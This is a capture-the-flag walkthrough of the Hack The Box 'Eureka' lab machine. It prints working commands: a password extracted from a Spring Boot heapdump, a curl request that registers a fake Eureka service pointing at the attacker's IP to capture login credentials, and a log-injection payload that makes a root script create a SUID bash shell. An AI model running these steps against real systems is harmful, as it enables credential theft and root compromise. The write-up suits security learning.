HTB Eureka Writeup
Introduction
This is a hard Linux machine on HackTheBox
Enumeration
Port Scan
Let’s find out what services are accessible
1
rustscan -a 10.10.11.66 -- -A -sC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.66:22
Open 10.10.11.66:80
Open 10.10.11.66:8761
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
| 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8761/tcp open http syn-ack ttl 63 Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
|_http-title: Site doesn't have a title.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Rather than eureka.htb
we’re redirected to furni.htb
so our /etc/hosts
file will be
1
<MACHINE-IP> furni.htb
Port 8761
This port requires HTTP Authentication to access so we’ll revisit it later
Directories
Checking for subdirectories we find an interesting endpoint
1
dirsearch -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -r -f --threads=100 --url=furni.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 4516
Output File: /home/kali/eureka/reports/_furni.htb/_25-09-08_13-43-04.txt
Target: http://furni.htb/
[13:43:04] Starting:
[13:43:07] 400 - 435B - /%ff/
[13:43:23] 200 - 76MB - /actuator/heapdump
[13:43:23] 200 - 2KB - /actuator
[13:43:36] 400 - 105B - /blog/error_log
[13:43:36] 400 - 110B - /blog/error_log.html
[13:43:36] 400 - 108B - /blog/error_log.js
[13:43:36] 400 - 110B - /blog/error_log.aspx
[13:43:36] 400 - 109B - /blog/error_log.php
[13:43:36] 400 - 109B - /blog/error_log.jsp
[13:43:49] 500 - 73B - /error
[13:44:07] 500 - 136B - /login
[13:44:28] 200 - 14KB - /services
[13:44:40] 200 - 467B - /actuator/features
[13:44:40] 200 - 20B - /actuator/caches
[13:44:40] 200 - 6KB - /actuator/env
[13:44:40] 200 - 2B - /actuator/info
[13:44:41] 200 - 180KB - /actuator/conditions
[13:44:41] 200 - 15B - /actuator/health/
[13:44:41] 200 - 15B - /actuator/health
[13:44:42] 200 - 198KB - /actuator/beans
[13:44:42] 400 - 108B - /actuator/sessions
[13:44:42] 405 - 114B - /actuator/refresh
[13:44:41] 200 - 3KB - /actuator/metrics
Added to the queue: actuator/health/
[13:44:42] 200 - 54B - /actuator/scheduledtasks
[13:44:43] 200 - 35KB - /actuator/mappings
[13:44:44] 200 - 99KB - /actuator/loggers
[13:44:47] 200 - 623KB - /actuator/threaddump
[13:44:49] 200 - 36KB - /actuator/configprops
Initial Foothold
Spring Boot Actuator
Visiting http://furni.htb/actuator
reveals a lot of endpoints
These are handled by Spring Boot. We can extract version information at http://furni.htb/actuator/features
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"enabled": [
{
"type": "com.netflix.discovery.EurekaClient",
"name": "Eureka Client",
"version": "2.0.3",
"vendor": null
},
{
"type": "org.springframework.cloud.client.discovery.composite.CompositeDiscoveryClient",
"name": "DiscoveryClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
},
{
"type": "org.springframework.cloud.loadbalancer.blocking.client.BlockingLoadBalancerClient",
"name": "LoadBalancerClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
}
],
"disabled": []
}
Heap Dump
We can download the heap dump using the endpoint http://furni/actuator/heapdump
. Analyzing its contents reveals a password
1
strings heapdump | grep -i password=
1
2
3
proxyPassword='
{password=0******************d, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!
Using these credentials we can ssh
in as oscar190
1
ssh oscar190@eureka.htb
user.txt
Enumerating the other users on the server
1
2
3
4
oscar190@eureka:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
Our next target is miranda-wise
Eureka Server
Now that we’re on the server, we can find the HTTP
credentials for the port found during our initial scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
oscar190@eureka:~$ cat /var/www/web/Eureka-Server/src/main/resources/application.yaml
spring:
application:
name: "Eureka Server"
security:
user:
name: EurekaSrvr
password: 0***************t
server:
port: 8761
address: 0.0.0.0
eureka:
client:
register-with-eureka: false
fetch-registry: false
It’ll bring us to a web interface where we can monitor registered services to eureka.
Fake Service
This post describes a way to register a fake service to eureka to intercept traffic.
We’re going to setup a fake instance of the USER-MANAGEMENT-SERVICE
that points to our machine. This will forward login requests with credentials to our listener!
Let’s set up the service by sending a POST
request on the server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
curl -i -X POST -u EurekaSrvr: -H "Content-Type: application/json" http://localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE -d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"app": "USER-MANAGEMENT-SERVICE",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"ipAddr": "<ATTACKING_IP>",
"hostName": "<ATTACKING_IP>",
"homePageUrl": "http://<ATTACKING_IP>:8081/",
"sid": "na",
"status": "UP",
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
},
"port": {
"$": 8081,
"@enabled": "true"
}
}
}'
1
2
3
4
5
6
7
8
9
10
11
12
oscar190@eureka:~$ curl -i -X POST -u EurekaSrvr:0***************t -H "Content-Type: application/json" http://localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE -d '{"instance": {"instanceId": "USER-MANAGEMENT-SERVICE","app": "USER-MANAGEMENT-SERVICE","vipAddress": "USER-MANAGEMENT-SERVICE","secureVipAddress": "USER-MANAGEMENT-SERVICE","ipAddr": "10.10.14.188","hostName": "10.10.14.188","homePageUrl": "http://10.10.14.188:8081/","sid": "na","status": "UP","dataCenterInfo": {"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo","name": "MyOwn"},"port": {"$": 8081,"@enabled": "true"}}}'
HTTP/1.1 204
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Date: Mon, 08 Sep 2025 16:44:55 GMT
We can verify enrollment with
1
curl -i -u EurekaSrvr:0**************st -H "Content-Type: application/json" http://localhost:8761/eureka/apps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!-- snip!-->
<instance>
<instanceId>USER-MANAGEMENT-SERVICE</instanceId>
<hostName>10.10.14.188</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.14.188</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">7002</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1757349895735</registrationTimestamp>
<lastRenewalTimestamp>1757349895735</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1757349895735</serviceUpTimestamp>
</leaseInfo>
<metadata class="java.util.Collections$EmptyMap"/>
<homePageUrl>http://10.10.14.188:8081/</homePageUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1757349895735</lastUpdatedTimestamp>
<lastDirtyTimestamp>1757349895726</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
<!-- snip!-->
Setup a listener to catch the login request
1
nc -lvnp 8081
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
listening on [any] 8081 ...
connect to [10.10.14.132] from (UNKNOWN) [10.10.11.66] 38572
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=YWQ5MzMwMDYtY2RmYi00YjJlLWFjNjUtZWI3OTlmY2Q4MmI2
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:43934"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.132:8081
username=miranda.wise%40furni.htb&password=<PASSWORD>&_csrf=Gx-e1aLIn2YCmv6qh_LNw1RG4vX5UO_TLMnn63uPNt_zhxITLX2q7JGp_lMvq8udtN_5pjZ0z5fPYIz-GfGB2UnuUuiSsHMk
We can reuse the password to ssh
in as miranda-wise
root.txt
While monitoring running processes with pspy we see this script is run as root
1
2025/08/22 21:18:03 CMD: UID=0 PID=908393 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
Since miranda-wise
is part of the developers
group we can modify application.log
1
2
3
4
5
6
7
8
miranda-wise@eureka:~$ ls -la /var/www/web/cloud-gateway/log/
total 40
drwxrwxr-x 2 www-data developers 4096 Aug 22 11:04 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data 21254 Aug 22 21:28 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
miranda-wise@eureka:~$ groups
miranda-wise developers
Reading /opt/log_analyse.sh
we find a vulnerable function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
# this is vulnerable!!
# $code is controlled by us!
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
We can inject the $code
variable with command substitution!
1
if [[ "$existing_code" -eq "$code" ]]; then
The order of operations will execute $(command)
before [[ "expression" ]]
so our payload format will look like
1
echo 'HTTP Status: a[$(whoami)]' >> /var/www/web/cloud-gateway/log/application.log
For our payload we’ll create a bash
binary with the suid
bit set to create a local root
shell
1
rm -f /var/www/web/cloud-gateway/log/application.log && echo 'HTTP Status: x[$(cp /bin/bash /tmp/.dasian/bash;chmod +s /tmp/.dasian/bash;)]' >> /var/www/web/cloud-gateway/log/application.log
When complete we just need to activate it
1
/path/to/suid/bash -p
Recap
Through directory brute force we find exposed spring boot actuator
endpoints. The heapdump
endpoint leaks account credentials we can use to ssh
into the server.
Reading configuration files reveals credentials used to register fake services to eureka. By hijacking the user management service, we can redirect login requests to our machine. We can steal the login password for miranda-wise
and reuse the password over ssh
.
By monitoring processes, a vulnerable shell script is found. Creating malicious log entries lets us inject commands as root
.